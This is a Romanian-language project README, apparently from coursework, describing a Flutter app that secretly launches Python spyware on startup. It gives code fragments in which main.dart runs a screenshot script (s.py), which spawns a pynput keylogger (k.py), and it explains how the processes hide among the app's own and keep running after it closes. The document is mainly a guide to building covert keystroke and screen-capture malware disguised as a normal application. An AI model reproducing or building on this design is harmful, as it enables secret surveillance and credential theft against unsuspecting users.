Proiectul prezent este constituit de o aplicatie, la pornirea careia un spyware de tip keylogger este lansat. Acest program actioneaza in background si este inofensiv sistemului. Ceea ce face este sa preia inputul de la tastatura, prelucrare si scriere in fisier, dar si inregistrarea ecranului sub forma de poze.

Partea non-malitioasa, aplicatia masca, a fost realizata cu ajutorul framwork-ului open source, dezvoltat de Google : Flutter. Tehnologie ce permite unui codebase sa fie crossplatform: disponibil atat pe desktop, web, dar si mobile pe ambele sisteme principale – Android & iOS.

Partea malitioasa este alcatuita din doua scripturi dezvoltate in Python. Am ales acest limbaj de programare caci este un limbaj lightweight, care permite accentuarea partii de algoritmica in defavoarea tipurilor de date, implementarii structurilor de date folosite, lucru potrivit mai ales pentru scripturile de dimensiuni mici. Avand experienta cu Python, cunosteam existenta unor librarii utile. Inca un punct in favoarea Python este popularitatea s-a pentru scripting, lucru care se reflecta in cantitatea de documentatie si tutoriale existente, disponibile gratuit.

Modalitatea de implementare se bazeaza pe lansarea celor 2 scripturi cu intentii malitioase si ascunderea lor printre cele ale aplicatiei Flutter, punct in care am decis ca cele 2 procese sa fie independente. La inchiderea aplicatiei, cele 2 procese se vor comporta precum un memory leak, aplicatia se inchide, iar ele ruleaza incontinuare.

In continuarea, va prezint un ghid de utilizare al proiectului. El este structurat pe 2 puncte. Pentru alte curiozitati sau nelamuriri, aveti disponibile fisierele cheie, comentate si usor de urmarit :

***Flow / Demers :***

1. La pornirea aplicatiei Flutter, se lanseaza un proces independent care ruleaza scriptul pentu inregirarea ecranului sub forma de screenshot-uri.

2. Acest subproces, la randul sau, lanseaza un proces care ruleaza scriptul ce se ocupa cu inregistrarea tastelor.

3. Fisierul main.dart este cel care contine fisierul main pentru aplicatia flutter.

La fiecare rulare, se creeaza folderul numit ‘ss’ in locatia fisierului principal ( “lib\\ss”).

In interiorul folderului ‘ss’, se creeaza un fisier txt, ‘log.txt’ ( “lib\\ss\\log.txt”).

Resursele generate se gasesc in “ProiectFlutter\lib\ss”.

4. Pentru facilitarea prezentarii, scriptul keylogger se opreste cu ESC, iar cel de-al doilea se opreste dupa 150 secunde, fiind configurat cu 1 screenshot / secunda.

***Fisierele cheie explicate in 3 puncte ( continut, configurabilitate, implementare ) :***

Script screenshot-uri ( s.py ) :

1. Contine scriptul pentu inregirarea ecranului sub forma de screenshot-uri.

2. Configurabile:

* Rata screenshot-uri/secunda, initial 1.
* Timpul real de executie al programului, initial 150 secunde.

3. Contine 3 etape – initializare, lansarea altui proces, executia logicii.

Initializare :

#Configurabile

ss\_time\_rate = 1

time\_alive = 150

#Selectarea folderului in care salvam resursele

directory\_path = os.getcwd() + "\\ss"

Lanseaza procesul ce ruleaza fisierul k.py :

#Lansarea procesului keylogger

# use the shell to have an independent process

kProcess = subprocess.Popen(['python', 'k.py'], shell = True )

Executia logicii din s.py:

while ss\_contor < time\_alive :

    takeSS()

    time.sleep(ss\_time\_rate)

Script keylogger ( k.py ) :

1. Contine scriptul keylogger.

2. Configurabile nu exista posibilitati ‘setari’, insa :

* Se pot modela: fiecare combinatie de taste, initial sunt aplicate parsare si scriere in clar doar pentru: backspace, ctrl+c, ctrl+v, ctrl+a, ctrl+s, space.
* Logica pentru finalizarea scriptului

3.Contine doar propria logica.

Executia logicii din k.py:

with Listener(on\_press=on\_press, on\_release=on\_release) as listener:

     listener.join()

Proiect Flutter ( main.dart ) :

1. Contine bootstrapper-ul atat pentru aplicatia flutter, cat si pentru primul script, dar si lansarea acestuia.

2. Configurabile:

-Nume fisier executat

-Path in functie de cel al proiectului flutter.

3. Contine 3 etape - boostrapper si lansarea scriptul ‘s.py’, apoi ruleaza aplicatia flutter.

Partea malitioasa din aplicatie :

String currentPath = Directory.current.path + "\\lib\\";

String fileName = 's.py';

 Process.run(

    "python",

    [fileName],

    runInShell: true,

    workingDirectory: currentPath );